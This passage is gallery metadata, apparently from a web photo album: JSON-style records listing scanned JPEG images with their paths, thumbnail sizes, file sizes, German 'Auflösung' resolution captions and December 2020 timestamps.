    S22C-620121018590 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018590_0001.jpg","width":340,"height":260},"fileSize":173336,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018590_0001.jpg","dates":{"dateTaken":1608392285},"fileDate":"2020-12-19T16:38:05.980Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:05.980Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018591_0001.jpg","image":{"path":"slides\/S22C-620121018591_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018591 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018591_0001.jpg","width":340,"height":260},"fileSize":193268,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018591_0001.jpg","dates":{"dateTaken":1608392287},"fileDate":"2020-12-19T16:38:07.239Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:07.239Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018592_0001.jpg","image":{"path":"slides\/S22C-620121018592_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121018592 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018592_0001.jpg","width":340,"height":260},"fileSize":997380,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018592_0001.jpg","dates":{"dateTaken":1608392295},"fileDate":"2020-12-19T16:38:15.524Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:15.524Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018593_0001.jpg","image":{"path":"slides\/S22C-620121018593_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018593 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018593_0001.jpg","width":340,"height":260},"fileSize":446229,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018593_0001.jpg","dates":{"dateTaken":1608392298},"fileDate":"2020-12-19T16:38:18.615Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:18.615Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019001_0001.jpg","image":{"path":"slides\/S22C-620121019001_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019001 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019001_0001.jpg","width":340,"height":260},"fileSize":356164,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019001_0001.jpg","dates":{"dateTaken":1608392300},"fileDate":"2020-12-19T16:38:20.12Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:20.12Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019002_0001.jpg","image":{"path":"slides\/S22C-620121019002_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019002 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019002_0001.jpg","width":340,"height":260},"fileSize":299604,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019002_0001.jpg","dates":{"dateTaken":1608392301},"fileDate":"2020-12-19T16:38:21.188Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:21.188Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019003_0001.jpg","image":{"path":"slides\/S22C-620121019003_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019003 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019003_0001.jpg","width":340,"height":260},"fileSize":451821,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019003_0001.jpg","dates":{"dateTaken":1608392302},"fileDate":"2020-12-19T16:38:22.388Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:22.388Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019010_0001.jpg","image":{"path":"slides\/S22C-620121019010_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019010 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019010_0001.jpg","width":340,"height":260},"fileSize":276880,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019010_0001.jpg","dates":{"dateTaken":1608392303},"fileDate":"2020-12-19T16:38:23.288Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:23.288Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019011_0001.jpg","image":{"path":"slides\/S22C-620121019011_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019011 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019011_0001.jpg","width":340,"height":260},"fileSize":319210,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019011_0001.jpg","dates":{"dateTaken":1608392305},"fileDate":"2020-12-19T16:38:25.59Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:25.59Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019013_0001.jpg","image":{"path":"slides\/S22C-620121019013_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019013 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019013_0001.jpg","width":340,"height":260},"fileSize":681825,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019013_0001.jpg","dates":{"dateTaken":1608392307},"fileDate":"2020-12-19T16:38:27.308Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:27.308Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019014_0001.jpg","image":{"path":"slides\/S22C-620121019014_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019014 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019014_0001.jpg","width":340,"height":260},"fileSize":399932,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019014_0001.jpg","dates":{"dateTaken":1608392310},"fileDate":"2020-12-19T16:38:30.136Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:30.136Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019020_0001.jpg","image":{"path":"slides\/S22C-620121019020_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019020 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019020_0001.jpg","width":340,"height":260},"fileSize":575621,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019020_0001.jpg","dates":{"dateTaken":1608392312},"fileDate":"2020-12-19T16:38:32.642Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:32.642Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019022_0001.jpg","image":{"path":"slides\/S22C-620121019022_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019022 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019022_0001.jpg","width":340,"height":260},"fileSize":350256,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121019022_0001.jpg","dates":{"dateTaken":1608392314},"fileDate":"2020-12-19T16:38:34.157Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:34.157Z","resolution":"1653 x 2338"}},{"path":"S22C-620121019060_0001.jpg","image":{"path":"slides\/S22C-620121019060_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019060 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019060_0001.jpg","width":340,"height":260},"fileSize":714731,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019060_0001.jpg","dates":{"dateTaken":1608392325},"fileDate":"2020-12-19T16:38:45.656Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:45.656Z","resolution":"3307 x 2338"}},{"path":"S22C-620121019071_0001.jpg","image":{"path":"slides\/S22C-620121019071_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121019071 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019071_0001.jpg","width":340,"height":260},"fileSize":566559,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019071_0001.jpg","dates":{"dateTaken":1608392330},"fileDate":"2020-12-19T16:38:50.612Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:50.612Z","resolution":"3307 x 2338"}},{"path":"S22C-620121019072_0001.jpg","image":{"path":"slides\/S22C-620121019072_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019072 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019072_0001.jpg","width":340,"height":260},"fileSize":913225,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019072_0001.jpg","dates":{"dateTaken":1608392332},"fileDate":"2020-12-19T16:38:52.53Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:52.53Z","resolution":"3307 x 2338"}},{"path":"S22C-620121019081_0001.jpg","image":{"path":"slides\/S22C-620121019081_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019081 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019081_0001.jpg","width":340,"height":260},"fileSize":396016,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019081_0001.jpg","dates":{"dateTaken":1608392336},"fileDate":"2020-12-19T16:38:56.571Z","category":"image","camera":{"originalDate":"2020-12-19T16:38:56.571Z","resolution":"3307 x 2338"}},{"path":"S22C-620121019121_0001.jpg","image":{"path":"slides\/S22C-620121019121_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019121 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019121_0001.jpg","width":340,"height":260},"fileSize":442066,"photodata":"

    Auflösung<\/b> 2338 x 1653<\/i><\/p>","name":"S22C-620121019121_0001.jpg","dates":{"dateTaken":1608392355},"fileDate":"2020-12-19T16:39:15.277Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:15.277Z","resolution":"2338 x 1653"}},{"path":"S22C-620121019122_0001.jpg","image":{"path":"slides\/S22C-620121019122_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019122 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019122_0001.jpg","width":340,"height":260},"fileSize":485569,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019122_0001.jpg","dates":{"dateTaken":1608392358},"fileDate":"2020-12-19T16:39:18.344Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:18.344Z","resolution":"3307 x 2338"}},{"path":"S22C-620121019140_0001.jpg","image":{"path":"slides\/S22C-620121019140_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121019140 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019140_0001.jpg","width":340,"height":260},"fileSize":576188,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121019140_0001.jpg","dates":{"dateTaken":1608392362},"fileDate":"2020-12-19T16:39:22.841Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:22.841Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513020_0001.jpg","image":{"path":"slides\/S22C-620121513020_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513020 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513020_0001.jpg","width":340,"height":260},"fileSize":316346,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513020_0001.jpg","dates":{"dateTaken":1608392372},"fileDate":"2020-12-19T16:39:32.627Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:32.627Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513041_0001.jpg","image":{"path":"slides\/S22C-620121513041_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513041 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513041_0001.jpg","width":340,"height":260},"fileSize":738739,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513041_0001.jpg","dates":{"dateTaken":1608392379},"fileDate":"2020-12-19T16:39:39.849Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:39.849Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513050_0001.jpg","image":{"path":"slides\/S22C-620121513050_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513050 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513050_0001.jpg","width":340,"height":260},"fileSize":784538,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513050_0001.jpg","dates":{"dateTaken":1608392381},"fileDate":"2020-12-19T16:39:41.910Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:41.910Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513060_0001.jpg","image":{"path":"slides\/S22C-620121513060_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513060 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513060_0001.jpg","width":340,"height":260},"fileSize":913074,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513060_0001.jpg","dates":{"dateTaken":1608392386},"fileDate":"2020-12-19T16:39:46.953Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:46.953Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513070_0001.jpg","image":{"path":"slides\/S22C-620121513070_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513070 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513070_0001.jpg","width":340,"height":260},"fileSize":1021107,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513070_0001.jpg","dates":{"dateTaken":1608392391},"fileDate":"2020-12-19T16:39:51.932Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:51.932Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513071_0001.jpg","image":{"path":"slides\/S22C-620121513071_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513071 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513071_0001.jpg","width":340,"height":260},"fileSize":820945,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513071_0001.jpg","dates":{"dateTaken":1608392394},"fileDate":"2020-12-19T16:39:54.628Z","category":"image","camera":{"originalDate":"2020-12-19T16:39:54.628Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513100_0001.jpg","image":{"path":"slides\/S22C-620121513100_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513100 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513100_0001.jpg","width":340,"height":260},"fileSize":492475,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513100_0001.jpg","dates":{"dateTaken":1608392403},"fileDate":"2020-12-19T16:40:03.249Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:03.249Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513101_0001.jpg","image":{"path":"slides\/S22C-620121513101_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513101 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513101_0001.jpg","width":340,"height":260},"fileSize":508669,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513101_0001.jpg","dates":{"dateTaken":1608392407},"fileDate":"2020-12-19T16:40:07.758Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:07.758Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513110_0001.jpg","image":{"path":"slides\/S22C-620121513110_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513110 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513110_0001.jpg","width":340,"height":260},"fileSize":247843,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513110_0001.jpg","dates":{"dateTaken":1608392409},"fileDate":"2020-12-19T16:40:09.551Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:09.551Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513111_0001.jpg","image":{"path":"slides\/S22C-620121513111_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513111 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513111_0001.jpg","width":340,"height":260},"fileSize":343340,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513111_0001.jpg","dates":{"dateTaken":1608392410},"fileDate":"2020-12-19T16:40:10.820Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:10.820Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513112_0001.jpg","image":{"path":"slides\/S22C-620121513112_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513112 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513112_0001.jpg","width":340,"height":260},"fileSize":290287,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513112_0001.jpg","dates":{"dateTaken":1608392412},"fileDate":"2020-12-19T16:40:12.82Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:12.82Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513120_0001.jpg","image":{"path":"slides\/S22C-620121513120_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513120 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513120_0001.jpg","width":340,"height":260},"fileSize":381142,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513120_0001.jpg","dates":{"dateTaken":1608392413},"fileDate":"2020-12-19T16:40:13.307Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:13.307Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513121_0001.jpg","image":{"path":"slides\/S22C-620121513121_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513121 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513121_0001.jpg","width":340,"height":260},"fileSize":501265,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513121_0001.jpg","dates":{"dateTaken":1608392414},"fileDate":"2020-12-19T16:40:14.529Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:14.529Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513122_0001.jpg","image":{"path":"slides\/S22C-620121513122_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513122 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513122_0001.jpg","width":340,"height":260},"fileSize":706179,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513122_0001.jpg","dates":{"dateTaken":1608392415},"fileDate":"2020-12-19T16:40:15.670Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:15.670Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513130_0001.jpg","image":{"path":"slides\/S22C-620121513130_0001.jpg","width":567,"height":800},"imageCaption":"

    S22C-620121513130 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513130_0001.jpg","width":340,"height":260},"fileSize":526521,"photodata":"

    Auflösung<\/b> 1433 x 2023<\/i><\/p>","name":"S22C-620121513130_0001.jpg","dates":{"dateTaken":1608392419},"fileDate":"2020-12-19T16:40:19.858Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:19.858Z","resolution":"1433 x 2023"}},{"path":"S22C-620121513141_0001.jpg","image":{"path":"slides\/S22C-620121513141_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513141 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513141_0001.jpg","width":340,"height":260},"fileSize":867534,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121513141_0001.jpg","dates":{"dateTaken":1608392428},"fileDate":"2020-12-19T16:40:28.956Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:28.956Z","resolution":"3307 x 2338"}},{"path":"S22C-620121513150_0001.jpg","image":{"path":"slides\/S22C-620121513150_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513150 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513150_0001.jpg","width":340,"height":260},"fileSize":557534,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513150_0001.jpg","dates":{"dateTaken":1608392431},"fileDate":"2020-12-19T16:40:31.406Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:31.406Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513151_0001.jpg","image":{"path":"slides\/S22C-620121513151_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513151 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513151_0001.jpg","width":340,"height":260},"fileSize":283578,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513151_0001.jpg","dates":{"dateTaken":1608392432},"fileDate":"2020-12-19T16:40:32.907Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:32.907Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513152_0001.jpg","image":{"path":"slides\/S22C-620121513152_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513152 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513152_0001.jpg","width":340,"height":260},"fileSize":250513,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513152_0001.jpg","dates":{"dateTaken":1608392434},"fileDate":"2020-12-19T16:40:34.735Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:34.735Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513153_0001.jpg","image":{"path":"slides\/S22C-620121513153_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513153 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513153_0001.jpg","width":340,"height":260},"fileSize":281365,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513153_0001.jpg","dates":{"dateTaken":1608392436},"fileDate":"2020-12-19T16:40:36.16Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:36.16Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513160_0001.jpg","image":{"path":"slides\/S22C-620121513160_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513160 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513160_0001.jpg","width":340,"height":260},"fileSize":759054,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513160_0001.jpg","dates":{"dateTaken":1608392438},"fileDate":"2020-12-19T16:40:38.950Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:38.950Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513180_0001.jpg","image":{"path":"slides\/S22C-620121513180_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513180 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513180_0001.jpg","width":340,"height":260},"fileSize":207146,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513180_0001.jpg","dates":{"dateTaken":1608392446},"fileDate":"2020-12-19T16:40:46.11Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:46.11Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513183_0001.jpg","image":{"path":"slides\/S22C-620121513183_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513183 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513183_0001.jpg","width":340,"height":260},"fileSize":594885,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513183_0001.jpg","dates":{"dateTaken":1608392449},"fileDate":"2020-12-19T16:40:49.837Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:49.837Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513190_0001.jpg","image":{"path":"slides\/S22C-620121513190_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513190 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513190_0001.jpg","width":340,"height":260},"fileSize":158331,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513190_0001.jpg","dates":{"dateTaken":1608392452},"fileDate":"2020-12-19T16:40:52.219Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:52.219Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513191_0001.jpg","image":{"path":"slides\/S22C-620121513191_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513191 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513191_0001.jpg","width":340,"height":260},"fileSize":512482,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513191_0001.jpg","dates":{"dateTaken":1608392453},"fileDate":"2020-12-19T16:40:53.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:53.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513192_0001.jpg","image":{"path":"slides\/S22C-620121513192_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513192 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513192_0001.jpg","width":340,"height":260},"fileSize":356828,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513192_0001.jpg","dates":{"dateTaken":1608392455},"fileDate":"2020-12-19T16:40:55.527Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:55.527Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513193_0001.jpg","image":{"path":"slides\/S22C-620121513193_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513193 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513193_0001.jpg","width":340,"height":260},"fileSize":385859,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513193_0001.jpg","dates":{"dateTaken":1608392456},"fileDate":"2020-12-19T16:40:56.752Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:56.752Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513200_0001.jpg","image":{"path":"slides\/S22C-620121513200_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121513200 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513200_0001.jpg","width":340,"height":260},"fileSize":528543,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513200_0001.jpg","dates":{"dateTaken":1608392459},"fileDate":"2020-12-19T16:40:59.28Z","category":"image","camera":{"originalDate":"2020-12-19T16:40:59.28Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513201_0001.jpg","image":{"path":"slides\/S22C-620121513201_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513201 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513201_0001.jpg","width":340,"height":260},"fileSize":463960,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513201_0001.jpg","dates":{"dateTaken":1608392461},"fileDate":"2020-12-19T16:41:01.73Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:01.73Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513203_0001.jpg","image":{"path":"slides\/S22C-620121513203_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513203 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513203_0001.jpg","width":340,"height":260},"fileSize":921711,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513203_0001.jpg","dates":{"dateTaken":1608392463},"fileDate":"2020-12-19T16:41:03.196Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:03.196Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513220_0001.jpg","image":{"path":"slides\/S22C-620121513220_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513220 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513220_0001.jpg","width":340,"height":260},"fileSize":450284,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513220_0001.jpg","dates":{"dateTaken":1608392467},"fileDate":"2020-12-19T16:41:07.950Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:07.950Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513221_0001.jpg","image":{"path":"slides\/S22C-620121513221_0001.jpg","width":1000,"height":722},"imageCaption":"

    S22C-620121513221 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513221_0001.jpg","width":340,"height":260},"fileSize":370861,"photodata":"

    Auflösung<\/b> 1535 x 2125<\/i><\/p>","name":"S22C-620121513221_0001.jpg","dates":{"dateTaken":1608392469},"fileDate":"2020-12-19T16:41:09.662Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:09.662Z","resolution":"1535 x 2125"}},{"path":"S22C-620121513222_0001.jpg","image":{"path":"slides\/S22C-620121513222_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513222 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513222_0001.jpg","width":340,"height":260},"fileSize":379273,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513222_0001.jpg","dates":{"dateTaken":1608392471},"fileDate":"2020-12-19T16:41:11.137Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:11.137Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513240_0001.jpg","image":{"path":"slides\/S22C-620121513240_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121513240 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513240_0001.jpg","width":340,"height":260},"fileSize":603875,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121513240_0001.jpg","dates":{"dateTaken":1608392477},"fileDate":"2020-12-19T16:41:17.939Z","category":"image","camera":{"originalDate":"2020-12-19T16:41:17.939Z","resolution":"1653 x 2338"}},{"path":"S22C-620121513280_0001.jpg","image":{"path":"slides\/S22C-620121513280_0001.jpg","width":1000,"height":707},"imageCaption":"

